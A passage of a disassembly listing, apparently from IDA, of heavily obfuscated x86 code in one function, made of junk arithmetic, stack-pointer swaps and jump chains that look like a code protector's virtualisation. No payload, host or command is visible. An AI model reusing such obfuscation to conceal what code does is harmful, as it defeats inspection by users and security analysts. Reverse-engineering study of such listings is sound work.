XREF: sub_57DD3A+1FDE5j sub ebx, 4 xchg ebx, [esp+58h+var_58] jmp loc_5A0BE5 ; --------------------------------------------------------------------------- loc_59C8B7: ; CODE XREF: sub_57DD3A+243BFj mov edx, 54DC76D0h shl edx, 4 xor edx, 17396E7Fh push esi mov esi, edx jmp loc_590A33 ; --------------------------------------------------------------------------- loc_59C8CD: ; CODE XREF: sub_57DD3A+17F77j mov ch, 8 jmp loc_5A2656 ; --------------------------------------------------------------------------- loc_59C8D4: ; CODE XREF: sub_57DD3A+1C5F6j xor eax, 2117108h xor ebp, eax jmp loc_59B3CD ; --------------------------------------------------------------------------- loc_59C8E0: ; CODE XREF: sub_57DD3A+23C35j sub edi, 5662334Ah pop ebx jmp loc_5969DA ; --------------------------------------------------------------------------- loc_59C8EC: ; CODE XREF: sub_57DD3A+1C81Dj pop esp jmp loc_591398 ; --------------------------------------------------------------------------- loc_59C8F2: ; CODE XREF: sub_57DD3A+145F8j mov esi, 4 mov eax, esi jmp loc_598C3F ; --------------------------------------------------------------------------- loc_59C8FE: ; CODE XREF: sub_57DD3A+1133Dj sub ecx, 282BE6BCh mov ebx, ecx push [esp+38h+var_3A+2] mov ecx, [esp+3Ch+var_3E+2] add esp, 4 push edi jmp loc_58F938 ; --------------------------------------------------------------------------- loc_59C918: ; CODE XREF: sub_57DD3A+11A78j mov esp, [esp+46h+var_46] and eax, ecx pop ecx or edx, eax shl edx, 1 jmp loc_5979D0 ; --------------------------------------------------------------------------- loc_59C927: ; CODE XREF: sub_57DD3A+112A7j push 8862BDD3h pop edi xor ecx, edi pop edi xor eax, ecx pop ecx xor esi, eax pop eax add ebx, esi mov esi, [esp+3Ah+var_3A] add esp, 4 mov ecx, ebx push [esp+36h+var_36] mov ebx, [esp+3Ah+var_3A] jmp loc_59EF86 ; --------------------------------------------------------------------------- loc_59C94B: ; CODE XREF: sub_57DD3A+19D9Cj add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop [esp+0Eh+var_E] pop esp mov [esp+6+var_8+2], ebx push ebx mov ebx, 0FFFFFFFFh sub [esp+0Ah+var_8+2], ebx pop ebx push [esp+6+var_8+2] pop ebx push eax mov eax, esp add eax, 4 jmp loc_5A30D3 ; --------------------------------------------------------------------------- loc_59C980: ; CODE XREF: sub_57DD3A+201E8j add edi, ebx sub edi, 1A7902B2h push 516Eh jmp loc_5A12FD ; --------------------------------------------------------------------------- loc_59C992: ; CODE XREF: sub_57DD3A+1B81Bj sub edi, edx mov edx, [esp+14h+var_16+2] add esp, 4 mov ecx, edi jmp loc_5A2F64 ; --------------------------------------------------------------------------- loc_59C9A1: ; CODE XREF: sub_57DD3A+1D8C3j xor bh, 0B0h jmp loc_5994BE ; --------------------------------------------------------------------------- loc_59C9A9: ; CODE XREF: sub_57DD3A+1DFB7j add eax, ecx pop ecx add eax, 0D72195Bh add eax, ecx push edi jmp loc_59B800 ; --------------------------------------------------------------------------- loc_59C9B9: ; CODE XREF: sub_57DD3A+14A97j mov [esp+74h+var_74], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp+78h+var_78], esi mov esi, 4 sub ebp, esi pop esi jmp loc_59B577 ; --------------------------------------------------------------------------- loc_59C9D7: ; CODE XREF: sub_57DD3A+243C7j mov ch, 0D5h neg ch push ebx mov bl, 71h jmp loc_59CE00 ; --------------------------------------------------------------------------- loc_59C9E3: ; CODE XREF: sub_57DD3A+21AE8j push edx mov edx, 4 jmp loc_58E57F ; --------------------------------------------------------------------------- loc_59C9EE: ; CODE XREF: sub_57DD3A+13FB1j push ecx push ebx mov bl, 33h mov ch, 5Ch sub ch, bl jmp loc_5A0429 ; --------------------------------------------------------------------------- loc_59C9FB: ; CODE XREF: sub_57DD3A+1A249j pop edx pop [esp+12h+var_12] pop esp mov [esp+0], eax jmp loc_58EB78 ; --------------------------------------------------------------------------- loc_59CA08: ; CODE XREF: sub_57DD3A+22EDDj push eax mov eax, 1D881690h jmp loc_59AA59 ; --------------------------------------------------------------------------- loc_59CA13: ; CODE XREF: sub_57DD3A+250EBj pop esp inc edi jmp loc_58EF92 ; --------------------------------------------------------------------------- loc_59CA1A: ; CODE XREF: sub_57DD3A+11253j pop [esp+36h+var_36] pop esp push dword ptr [edi+1Ch] push [esp+32h+var_32] mov ecx, [esp+36h+var_36] add esp, 4 push 635Bh jmp loc_59FE77 ; --------------------------------------------------------------------------- loc_59CA37: ; CODE XREF: sub_57DD3A+1D149j push ecx push 11086EA9h pop ecx sub ecx, 64C55204h or ecx, 2A1A25DEh neg ecx add ecx, 0F1236B57h mov ebp, ecx pop ecx add eax, ebp pop ebp push edx push ebx jmp loc_5A1DD4 ; --------------------------------------------------------------------------- loc_59CA5F: ; CODE XREF: sub_57DD3A+247A1j add esp, 4 jmp loc_59D5E0 ; --------------------------------------------------------------------------- loc_59CA6A: ; CODE XREF: sub_57DD3A+24F52j mov edi, esp add edi, 4 add edi, 4 sub esp, 4 mov [esp+22h+var_22], edi jmp loc_59E2BF ; --------------------------------------------------------------------------- mov cx, word ptr [esp+22h+var_22] push eax push 6DDCh mov [esp+2Ah+var_2A], esp push eax mov eax, 4 add [esp+2Eh+var_2A], eax jmp loc_5A32C6 ; --------------------------------------------------------------------------- loc_59CA9C: ; CODE XREF: sub_57DD3A+149D5j push edx mov edx, 6E9B27A7h xor edx, 53545B93h neg edx dec edx xor edx, 555E3FEEh sub edx, 39E766C6h jmp loc_5945C2 ; --------------------------------------------------------------------------- loc_59CABC: ; CODE XREF: sub_57DD3A+1C40Fj mov edx, 62B905C2h add ebx, edx pop edx push ebp mov ebp, 531E7E0Eh push ecx mov ecx, 782C602Ah jmp loc_5A1DB9 ; --------------------------------------------------------------------------- loc_59CAD5: ; CODE XREF: sub_57DD3A+22CAAj add esp, 4 jmp loc_5A2A9C ; --------------------------------------------------------------------------- loc_59CADD: ; CODE XREF: sub_57DD3A+1646Aj mov ecx, 776650BAh xor edi, ecx mov ecx, [esp+56h+var_58+2] jmp loc_590DAF ; --------------------------------------------------------------------------- loc_59CAEC: ; CODE XREF: sub_57DD3A+17941j pop ecx add eax, 722D70DAh push ebp jmp loc_598870 ; --------------------------------------------------------------------------- loc_59CAF8: ; CODE XREF: sub_57DD3A+17DD9j push 4E08h mov [esp+20h+var_22+2], eax mov eax, 62716582h push ecx mov ecx, 68012D5Dh xor ecx, 67050375h dec ecx add ecx, 250210D7h shr ecx, 4 add ecx, 37BBA9A3h or ecx, 2E7F62C8h jmp loc_594B78 ; --------------------------------------------------------------------------- loc_59CB2C: ; CODE XREF: sub_57DD3A+14203j sub ecx, ebx pop ebx push ebx mov ebx, 6771676Dh xor ebx, 6A5B00E4h jmp loc_597B97 ; --------------------------------------------------------------------------- loc_59CB40: ; CODE XREF: sub_57DD3A+209E2j sub esp, 4 mov [esp+26h+var_26], edi mov edi, 17A9017Dh dec edi jmp loc_594F57 ; --------------------------------------------------------------------------- loc_59CB54: ; CODE XREF: sub_57DD3A+1169Cj push [esp+40h+var_42+2] pop ebp push 4B6Dh jmp loc_59C629 ; --------------------------------------------------------------------------- loc_59CB62: ; CODE XREF: sub_57DD3A+161DDj sub edx, eax pop eax xchg edx, [esp+54h+var_54] pop esp jmp loc_58FAF9 ; --------------------------------------------------------------------------- loc_59CB6E: ; CODE XREF: sub_57DD3A+2166Bj xor bl, al jmp loc_59144F ; --------------------------------------------------------------------------- loc_59CB75: ; CODE XREF: sub_57DD3A+199C6j mov edi, ebx mov ebx, [esp+1Ch+var_1E+2] add esp, 4 jmp loc_595851 ; --------------------------------------------------------------------------- loc_59CB85: ; CODE XREF: sub_57DD3A+15387j xor ebx, eax jmp loc_59BA2D ; --------------------------------------------------------------------------- loc_59CB8C: ; CODE XREF: sub_57DD3A+231A9j add esp, 4 push edx jmp loc_59F916 ; --------------------------------------------------------------------------- loc_59CB95: ; CODE XREF: sub_57DD3A+1A366j pop dword ptr [edi+24h] push [esp+58h+var_58] jmp loc_59A39F ; --------------------------------------------------------------------------- loc_59CBA0: ; CODE XREF: sub_57DD3A+13807j pop esi add ebx, ebp jmp loc_58F9E9 ; --------------------------------------------------------------------------- loc_59CBA8: ; CODE XREF: sub_57DD3A+16758j add edx, ebp jmp loc_59708B ; --------------------------------------------------------------------------- loc_59CBAF: ; CODE XREF: sub_57DD3A+20184j and ebp, 63B3517h jmp loc_597ADB ; --------------------------------------------------------------------------- loc_59CBBA: ; CODE XREF: sub_57DD3A+1A240j inc eax xor eax, 632947B2h jmp loc_59399B ; --------------------------------------------------------------------------- loc_59CBC5: ; CODE XREF: sub_57DD3A+176C5j pop esi jmp loc_5A2A6B ; --------------------------------------------------------------------------- loc_59CBCB: ; CODE XREF: sub_57DD3A+15F82j push ebp push [esp+20h+var_1E+2] pop ebp pop [esp+20h+var_22+2] mov esp, [esp+1Ch+var_1E+2] add esi, 4 push edx mov edx, 2 add esi, edx pop edx xchg esi, [esp+1Ch+var_1E+2] pop esp shr word ptr [esp+18h+var_1A+2], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59CBF4: ; CODE XREF: sub_57DD3A+209B6j add ebx, 4 sub ebx, 4 xchg ebx, [esp+1Ch+var_1E+2] pop esp mov [esp+18h+var_1A+2], eax jmp loc_5A26EA ; --------------------------------------------------------------------------- loc_59CC0C: ; DATA XREF: sub_57DD3A+1037Ao mov cx, word ptr [esp+18h+var_1A+2] push 7E8Ah mov [esp+1Ch+var_1E+2], edx mov edx, esp jmp loc_5A26BA ; --------------------------------------------------------------------------- loc_59CC1F: ; CODE XREF: sub_57DD3A+1D3E3j push 2E03h jmp loc_59AB51 ; --------------------------------------------------------------------------- loc_59CC29: ; CODE XREF: sub_57DD3A+1F761j sub edx, 7DAB32F7h or edx, 5F593AB7h xor edx, 5A3FBF7Bh sub ecx, edx pop edx add ecx, esi add ecx, 254444CCh jmp loc_5929DE ; --------------------------------------------------------------------------- loc_59CC4B: ; CODE XREF: sub_57DD3A+1425Bj xor edx, 0EF90373h pop edi add ebx, edx jmp loc_59939D ; --------------------------------------------------------------------------- loc_59CC59: ; CODE XREF: sub_57DD3A+1E812j sub ecx, 4 xchg ecx, [esp+5Ch+var_5C] jmp loc_596C9C ; --------------------------------------------------------------------------- loc_59CC67: ; CODE XREF: sub_57DD3A+1E796j shl eax, 7 push 0 sub [esp+58h+var_58], 1FBC3149h sub [esp+58h+var_58], eax add [esp+58h+var_58], 1FBC3149h push [esp+58h+var_58] pop eax add esp, 4 sub eax, 5E142FFCh add ebp, eax push [esp+54h+var_54] pop eax push eax jmp loc_59A5EF ; --------------------------------------------------------------------------- loc_59CC9B: ; CODE XREF: sub_57DD3A+16345j sub eax, ebx jmp loc_59F1B7 ; --------------------------------------------------------------------------- loc_59CCA2: ; CODE XREF: sub_57DD3A+18A05j push esi push 285470C3h jmp loc_595C6D ; --------------------------------------------------------------------------- loc_59CCAD: ; CODE XREF: sub_57DD3A+12D69j push edi push ebx mov ebx, 4 mov edi, ebx pop ebx add ebx, 78963BD9h add ebx, edi sub ebx, 78963BD9h jmp loc_597705 ; --------------------------------------------------------------------------- loc_59CCCA: ; CODE XREF: sub_57DD3A+22CF2j xor edi, esi pop esi jmp loc_590006 ; --------------------------------------------------------------------------- loc_59CCD2: ; CODE XREF: sub_57DD3A+1D774j push [esp+40h+var_42+2] push [esp+44h+var_46+2] pop esi jmp loc_59BC0B ; --------------------------------------------------------------------------- loc_59CCDE: ; CODE XREF: sub_57DD3A+1D8EDj neg esi jmp loc_58FB8B ; --------------------------------------------------------------------------- loc_59CCE5: ; CODE XREF: sub_57DD3A+180E2j push eax push edi mov edi, 3D970100h mov eax, edi pop edi or edi, eax pop eax jmp loc_59AF95 ; --------------------------------------------------------------------------- loc_59CCF7: ; CODE XREF: sub_57DD3A+12B35j sub esi, 4 xchg esi, [esp+44h+var_46+2] pop esp jmp loc_5913DB ; --------------------------------------------------------------------------- loc_59CD03: ; CODE XREF: sub_57DD3A+18697j mov edi, 6CBC0AD7h or edi, 5FBA65F1h shr edi, 7 xor edi, 125127BAh sub ecx, 5B93015Fh add ecx, edi add ecx, 5B93015Fh mov edi, [esp+14h+var_16+2] jmp loc_59D940 ; --------------------------------------------------------------------------- loc_59CD2D: ; CODE XREF: sub_57DD3A+18CD9j sub bl, 87h sub bl, cl add bl, 87h pop ecx sub bl, 46h jmp loc_5A03EE ; --------------------------------------------------------------------------- loc_59CD3E: ; CODE XREF: sub_57DD3A+1DBD2j shl ebp, 2 push esi mov esi, 0A3861E0h jmp loc_5A2D24 ; --------------------------------------------------------------------------- loc_59CD4C: ; CODE XREF: sub_57DD3A+14D57j mov ebp, 169E3577h add ecx, ebp pop ebp mov ebx, 0F25DFC88h add ebx, ecx mov ecx, [esp+0] add esp, 4 mov esi, ebx pop ebx add esi, 5F12CB1h push edi push 3D8550E9h pop edi and esi, edi mov edi, [esp-6+arg_0+2] jmp loc_59FA6E ; --------------------------------------------------------------------------- loc_59CD7B: ; CODE XREF: sub_57DD3A+1A3CBj push ebx mov ebx, 4 add esi, ebx pop ebx push ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp+2+var_4+2] xor [esp+2+var_4+2], esi xor esi, [esp+2+var_4+2] pop esp push 324Eh jmp loc_592727 ; --------------------------------------------------------------------------- loc_59CDA1: ; CODE XREF: sub_57DD3A+17001j and esi, edx jmp loc_5941B8 ; --------------------------------------------------------------------------- loc_59CDA8: ; CODE XREF: sub_57DD3A+13780j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+40h+var_42+2] pop esp mov [esp+3Ch+var_3E+2], ebp mov ebp, 4 sub ecx, 24453AD6h push ebx push 0C6Eh mov [esp+44h+var_46+2], ebp mov ebp, 24953CF0h xor ebp, 0AFA0E46h push ebp pop ebx pop ebp sub ecx, 0A1B3362h sub ecx, ebx add ecx, 0A1B3362h pop ebx add ecx, 655B00F5h sub ecx, ebp sub ecx, 655B00F5h push esi jmp loc_5A186A ; --------------------------------------------------------------------------- loc_59CE00: ; CODE XREF: sub_57DD3A+1ECA4j neg bl sub bl, 79h jmp loc_59C038 ; --------------------------------------------------------------------------- loc_59CE0A: ; CODE XREF: sub_57DD3A+1091Dj push edi mov edi, esp add edi, 4 push ecx mov ecx, 539D6C14h xor ecx, 539D6C10h add edi, ecx pop ecx xchg edi, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] sub esp, 4 jmp loc_58F281 ; --------------------------------------------------------------------------- loc_59CE33: ; CODE XREF: sub_57DD3A+20EC8j mov [esp+1Ch+var_1E+2], ebx jmp loc_5A0C37 ; --------------------------------------------------------------------------- loc_59CE3B: ; CODE XREF: sub_57DD3A+1DA9Fj sub esi, ebx jmp loc_59F06F ; --------------------------------------------------------------------------- loc_59CE42: ; CODE XREF: sub_57DD3A+17F24j pop edx jmp loc_58E41C ; --------------------------------------------------------------------------- loc_59CE48: ; CODE XREF: sub_57DD3A+246FEj add [esp+10h+var_12+2], 4 pop [esp+10h+var_12+2] add [esp+0Ch+var_E+2], 4 mov ecx, [esp+0Ch+var_E+2] jmp loc_59B329 ; --------------------------------------------------------------------------- loc_59CE61: ; CODE XREF: sub_57DD3A+1F15Dj push ecx push esp mov ecx, [esp+14h+var_16+2] jmp loc_59E6C2 ; --------------------------------------------------------------------------- loc_59CE6B: ; CODE XREF: sub_57DD3A+1CFB9j mov ecx, 309C1CC1h push esi mov esi, 109201F5h and ecx, esi pop esi push edx jmp loc_593AFC ; --------------------------------------------------------------------------- loc_59CE7F: ; CODE XREF: sub_57DD3A+1BB17j sub edi, 1EE15030h add edi, 476B1623h jmp loc_58FFB3 ; --------------------------------------------------------------------------- loc_59CE90: ; CODE XREF: sub_57DD3A+15486j and [edi+1Ch], ecx push [esp+8+var_8] pop ecx jmp loc_59CE61 ; --------------------------------------------------------------------------- loc_59CE9C: ; CODE XREF: sub_57DD3A+1C0C4j add eax, edx pop edx xchg eax, [esp+36h+var_36] mov esp, [esp+36h+var_36] push [esp+36h+var_36] push [esp+3Ah+var_3A] mov ecx, [esp+3Eh+var_3E] add esp, 4 add esp, 4 jmp loc_594340 ; --------------------------------------------------------------------------- loc_59CEBC: ; CODE XREF: sub_57DD3A+193CBj mov ebx, 3A400E68h inc ebx and ebx, 6E0C5C20h jmp loc_59B6F5 ; --------------------------------------------------------------------------- loc_59CECD: ; CODE XREF: sub_57DD3A+229CCj add esp, 4 push [esp+7Ch+var_7C] pop eax sub esp, 4 mov [esp+80h+var_80], edi push esp pop edi add edi, 4 add edi, 4 xor edi, [esp+80h+var_80] xor [esp+80h+var_80], edi xor edi, [esp+80h+var_80] pop esp jmp loc_5A22C4 ; --------------------------------------------------------------------------- loc_59CEFA: ; CODE XREF: sub_57DD3A+15166j sub esp, 4 mov [esp+10h+var_12+2], edx mov edx, 69EF2F10h add ebx, edx push [esp+10h+var_12+2] jmp loc_5A0532 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59CF1A: ; CODE XREF: sub_57DD3A+222DEj pop cx sub al, ch push ebx mov bh, 0A6h jmp loc_591443 ; --------------------------------------------------------------------------- loc_59CF26: ; CODE XREF: sub_57DD3A+19202j pop eax add esp, 4 push edi push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 jmp loc_5918D9 ; --------------------------------------------------------------------------- loc_59CF3F: ; CODE XREF: sub_57DD3A+20376j not dh sub dh, 5Ah sub dh, 0 or ch, dh pop edx inc ch inc ch xor ch, 0FAh add dl, ch jmp loc_5945AA ; --------------------------------------------------------------------------- loc_59CF58: ; CODE XREF: sub_57DD3A+21898j sub bl, 5Eh mov ax, word ptr [esp+12h+var_12] push eax mov eax, esp add eax, 4 add eax, 2 push eax push [esp+1Ah+var_16] pop eax pop [esp+1Ah+var_1A] pop esp push [esp+12h+var_12] pop ecx push edi mov edi, esp jmp loc_58F00A ; --------------------------------------------------------------------------- loc_59CF80: ; CODE XREF: sub_57DD3A+13342j push ebx mov ebx, 4 sub edx, ebx pop ebx xchg edx, [esp+1Ch+var_1E+2] jmp loc_5956D5 ; --------------------------------------------------------------------------- loc_59CF91: ; CODE XREF: sub_57DD3A+21CA6j push ecx mov ecx, 3D4C64BEh jmp loc_595D21 ; --------------------------------------------------------------------------- loc_59CF9C: ; CODE XREF: sub_57DD3A+167DDj xor al, 90h or dh, al pop eax push cx mov cl, 0FFh sub dh, cl pop cx jmp loc_597756 ; --------------------------------------------------------------------------- loc_59CFAE: ; CODE XREF: sub_57DD3A+1E156j xchg edx, [esp+42h+var_42] pop esp jmp loc_59286D ; --------------------------------------------------------------------------- loc_59CFB7: ; CODE XREF: sub_57DD3A+12069j mov bh, cl pop ecx mov ch, bh jmp loc_594C71 ; --------------------------------------------------------------------------- loc_59CFC1: ; CODE XREF: sub_57DD3A+204E9j push edx push 24BFh mov [esp+3Ah+var_3A], ebp push ecx mov ecx, 4FB00314h jmp loc_59B66E ; --------------------------------------------------------------------------- loc_59CFD5: ; DATA XREF: sub_57DD3A+10526o mov ax, word ptr [esp+3Eh+var_3E] push 698h jmp loc_595A3E ; --------------------------------------------------------------------------- loc_59CFE3: ; CODE XREF: sub_57DD3A+122C7j sub eax, 0E749C3h add esi, eax pop eax sub esi, 4 xchg esi, [esp+44h+var_46+2] pop esp mov [esp+40h+var_42+2], ebx push 5CD1723Ah pop ebx sub esp, 4 mov [esp+44h+var_46+2], edx mov edx, 2B7205A9h xor edx, 4AED22ADh or edx, 620D2C64h jmp loc_597A01 ; --------------------------------------------------------------------------- loc_59D01D: ; CODE XREF: sub_57DD3A+20C56j pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+44h+var_46+2] pop esp xor dl, cl xor cl, dl jmp loc_594457 ; --------------------------------------------------------------------------- loc_59D03A: ; CODE XREF: sub_57DD3A+162DAj and ebx, 223F0CDCh add ebx, 0B394DFCCh add eax, 42E377E4h add eax, ebx sub eax, 42E377E4h jmp loc_591E4D ; --------------------------------------------------------------------------- loc_59D057: ; CODE XREF: sub_57DD3A+16288j push ebx push esp jmp loc_59260F ; --------------------------------------------------------------------------- loc_59D05E: ; CODE XREF: sub_57DD3A+23DE7j add esp, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] jmp loc_59DE1A ; --------------------------------------------------------------------------- loc_59D06F: ; CODE XREF: sub_57DD3A+1979Dj add ebp, 4 add ebp, 4 xchg ebp, [esp+84h+var_84] jmp loc_59A7D0 ; --------------------------------------------------------------------------- loc_59D080: ; CODE XREF: sub_57DD3A+15BAFj add esp, 4 sub ecx, 251528B0h pop esi add eax, 427A331Eh jmp loc_595FB3 ; --------------------------------------------------------------------------- loc_59D097: ; CODE XREF: sub_57DD3A+200F0j add ecx, 4 jmp loc_5942B0 ; --------------------------------------------------------------------------- loc_59D0A2: ; CODE XREF: sub_57DD3A+1E14Ej push ecx push ebx jmp loc_5A14FA ; --------------------------------------------------------------------------- push [esp+32h+var_32] push [esp+36h+var_36] jmp loc_5982E4 ; --------------------------------------------------------------------------- loc_59D0B4: ; CODE XREF: sub_57DD3A+20F01j pop ebx sub eax, edx pop edx sub esp, 4 mov [esp+36h+var_36], ebx jmp loc_59F6C0 ; --------------------------------------------------------------------------- loc_59D0C3: ; CODE XREF: sub_57DD3A+23983j push eax push ebx mov ebx, 496D5CA9h or ebx, 7E2445A7h and ebx, 74F85024h add ebx, 0DFA0968h push esi jmp loc_59B3BE ; --------------------------------------------------------------------------- loc_59D0E2: ; CODE XREF: sub_57DD3A+1A67Bj dec edx jmp loc_59FC00 ; --------------------------------------------------------------------------- loc_59D0E8: ; CODE XREF: sub_57DD3A+16DD0j add esp, 4 pop eax jmp loc_59FC1A ; --------------------------------------------------------------------------- loc_59D0F1: ; CODE XREF: sub_57DD3A+13065j mov dl, 64h neg dl xor dl, 10h not dl xor dl, 67h and dl, 9 xor dl, 76h and dl, 0ACh shr dl, 4 neg dl jmp loc_58FB46 ; --------------------------------------------------------------------------- loc_59D110: ; CODE XREF: sub_57DD3A+10AF8j push ebx not [esp+14h+var_16+2] jmp loc_5951D6 ; --------------------------------------------------------------------------- loc_59D119: ; CODE XREF: sub_57DD3A+22257j xor edx, 3715772Ah not edx xor edx, 0EF15980Fh sub edi, 2F8336C1h add edi, 6FAF0F31h add edi, edx sub edi, 6FAF0F31h add edi, 2F8336C1h pop edx add edi, 4 xchg edi, [esp+10h+var_12+2] pop esp push 4C5Ch mov [esp+10h+var_12+2], edi sub esp, 4 mov [esp+14h+var_16+2], edx jmp loc_58F4C4 ; --------------------------------------------------------------------------- loc_59D15C: ; CODE XREF: sub_57DD3A+19C32j add edx, eax jmp loc_599939 ; --------------------------------------------------------------------------- loc_59D163: ; CODE XREF: sub_57DD3A+254EAj push ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 27A7h mov [esp+18h+var_1A+2], edx push 436Bh mov [esp+1Ch+var_1E+2], ebp push esi mov esi, 1F55268Eh jmp loc_59ACF8 ; --------------------------------------------------------------------------- loc_59D189: ; CODE XREF: sub_57DD3A+24B55j mov ah, bl pop ebx push edx mov dl, ah mov ch, dl pop edx pop eax sub ch, 5Ah sub ch, 0A4h add ch, bl add ch, 0A4h add ch, 5Ah mov ebx, [esp+18h+var_1A+2] jmp loc_591B46 ; --------------------------------------------------------------------------- loc_59D1A9: ; CODE XREF: sub_57DD3A+10FB9j add eax, 0DC4ED134h sub ebx, eax pop eax pop eax xchg ebx, [esp+12h+var_12] pop esp jmp loc_5905DB ; --------------------------------------------------------------------------- loc_59D1BB: ; CODE XREF: sub_57DD3A+135A6j sub edi, 72D437C1h push [esp+46h+var_46] pop esi add esp, 4 add edi, 4 xchg edi, [esp+42h+var_42] jmp loc_59F546 ; --------------------------------------------------------------------------- loc_59D1D3: ; CODE XREF: sub_57DD3A+113EBj push small 45F6h mov word ptr [esp+44h+var_46+2], bx sub word ptr [esp+44h+var_46+2], 16AAh pop bp add bp, 16AAh jmp loc_5937C3 ; --------------------------------------------------------------------------- loc_59D1ED: ; CODE XREF: sub_57DD3A+188A4j pop ebx add eax, ecx mov ecx, [esp+5Ah+var_5C+2] add esp, 4 xchg eax, [esp+56h+var_58+2] mov esp, [esp+56h+var_58+2] test ecx, eax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59D204: ; CODE XREF: sub_57DD3A+121C4j and edx, ebp pop ebp jmp loc_593A93 ; --------------------------------------------------------------------------- loc_59D20C: ; CODE XREF: sub_57DD3A+14DC8j push [esp+6+var_8+2] mov ebx, [esp+0] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 jmp loc_598791 ; --------------------------------------------------------------------------- loc_59D226: ; CODE XREF: sub_57DD3A+1855Aj push edx mov dh, ch mov ah, dh mov edx, [esp+52h+var_54+2] add esp, 4 mov ecx, [esp+4Eh+var_50+2] add esp, 4 shl ah, 3 xor ah, 52h and ch, ah push [esp+4Ah+var_4C+2] pop eax add esp, 4 xor ch, 62h mov dl, ch mov ecx, [esp+46h+var_46] jmp loc_599CEC ; --------------------------------------------------------------------------- loc_59D256: ; CODE XREF: sub_57DD3A+24437j mov bh, 8Ch and cl, bh mov bx, word ptr [esp+46h+var_46] add esp, 2 dec cl jmp loc_594FC4 ; --------------------------------------------------------------------------- loc_59D268: ; CODE XREF: sub_57DD3A+164F5j and edx, 632D2D83h sub edx, 2105007Fh add eax, edx mov edx, [esp+4Eh+var_50+2] add esp, 4 xchg eax, [esp+4Ah+var_4C+2] pop esp jmp loc_595BCC ; --------------------------------------------------------------------------- mov cx, word ptr [esp+46h+var_46] jmp loc_59E3F2 ; --------------------------------------------------------------------------- loc_59D28E: ; CODE XREF: sub_57DD3A+23BBCj add edx, 6909F8A7h jmp loc_58E4F5 ; --------------------------------------------------------------------------- loc_59D299: ; CODE XREF: sub_57DD3A+11CBCj and esi, 21427AD0h jmp loc_5A2643 ; --------------------------------------------------------------------------- loc_59D2A4: ; CODE XREF: sub_57DD3A+21D64j mov ecx, 0AC17AE27h sub edx, ecx pop ecx mov esi, edx jmp loc_5A2E2A ; --------------------------------------------------------------------------- loc_59D2B3: ; CODE XREF: sub_57DD3A+11718j add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp+0] xor [esp+0], esi jmp loc_59F8E1 ; --------------------------------------------------------------------------- loc_59D2CD: ; CODE XREF: sub_57DD3A+14464j mov ebx, 6EB120DEh shl ebx, 6 push eax mov eax, 53B7C884h add ebx, eax pop eax jmp loc_59C3D8 ; --------------------------------------------------------------------------- loc_59D2E3: ; CODE XREF: sub_57DD3A+14EB0j add edx, 0D19E8F2h add edi, edx pop edx sub edi, 3B304A7Dh pop ebx jmp loc_5A041B ; --------------------------------------------------------------------------- loc_59D2F8: ; CODE XREF: sub_57DD3A+198C8j xchg esi, [esp+58h+var_58] pop esp jmp loc_59EEC8 ; --------------------------------------------------------------------------- loc_59D301: ; CODE XREF: sub_57DD3A+15649j sub eax, edx pop edx sub ecx, 124603Ch jmp loc_58E64C ; --------------------------------------------------------------------------- loc_59D30F: ; DATA XREF: sub_57DD3A+103DEo push ebp push esp pop ebp add ebp, 4 push eax mov eax, 4 jmp loc_59AFF4 ; --------------------------------------------------------------------------- loc_59D323: ; CODE XREF: sub_57DD3A+12336j add esp, 4 jmp loc_597F0E ; --------------------------------------------------------------------------- loc_59D32E: ; CODE XREF: sub_57DD3A+20496j sub esp, 4 mov [esp+14h+var_16+2], esp add [esp+14h+var_16+2], 4 mov esi, [esp+14h+var_16+2] add esp, 4 add esi, 4 jmp loc_5956AA ; --------------------------------------------------------------------------- push 40FBh mov [esp+14h+var_16+2], ebp push esp jmp loc_595DD5 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+18h+var_1A+2] sub esp, 4 mov [esp+1Ch+var_1E+2], ecx jmp loc_5923CF ; --------------------------------------------------------------------------- loc_59D36C: ; CODE XREF: sub_57DD3A+1792Dj push esi jmp loc_5A1F86 ; --------------------------------------------------------------------------- loc_59D372: ; CODE XREF: sub_57DD3A+14DB5j sub eax, 3D832687h jmp loc_594E9F ; --------------------------------------------------------------------------- loc_59D37C: ; CODE XREF: sub_57DD3A+14B5Ej add ebx, ebp jmp loc_5948DD ; --------------------------------------------------------------------------- loc_59D383: ; CODE XREF: sub_57DD3A+1654Dj pop esi xor ecx, eax pop eax push ecx add [esp+1Eh+var_1E], 1ECE6CB7h pop ebx sub ebx, 1ECE6CB7h mov ecx, [esp+1Ah+var_1A] add esp, 4 jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59D3A4: ; CODE XREF: sub_57DD3A+159AEj add eax, 19EB19F1h sub ecx, 2A72061Eh push ebx mov ebx, 6D434A57h or ebx, 7D6C436Ah jmp loc_59AC64 ; --------------------------------------------------------------------------- loc_59D3C0: ; CODE XREF: sub_57DD3A+1BB46j pop ecx xor ebp, ecx push [esp+8+var_8] pop ecx add esp, 4 shl ebp, 5 jmp loc_59DA4D ; --------------------------------------------------------------------------- loc_59D3D2: ; CODE XREF: sub_57DD3A+1E65Bj push ebx push edx mov dh, ah push ecx mov ch, dh jmp loc_59BFCE ; --------------------------------------------------------------------------- loc_59D3DE: ; CODE XREF: sub_57DD3A+1C08Ej add esp, 4 jmp loc_5A0CF2 ; --------------------------------------------------------------------------- loc_59D3E6: ; CODE XREF: sub_57DD3A+2550Bj add al, bl pop ebx jmp loc_599898 ; --------------------------------------------------------------------------- loc_59D3EE: ; CODE XREF: sub_57DD3A+15C56j pop ebp jmp loc_593895 ; --------------------------------------------------------------------------- loc_59D3F4: ; CODE XREF: sub_57DD3A+15509j push 4258h mov [esp+0], ecx add dword ptr [esp+0], 48AF3E06h 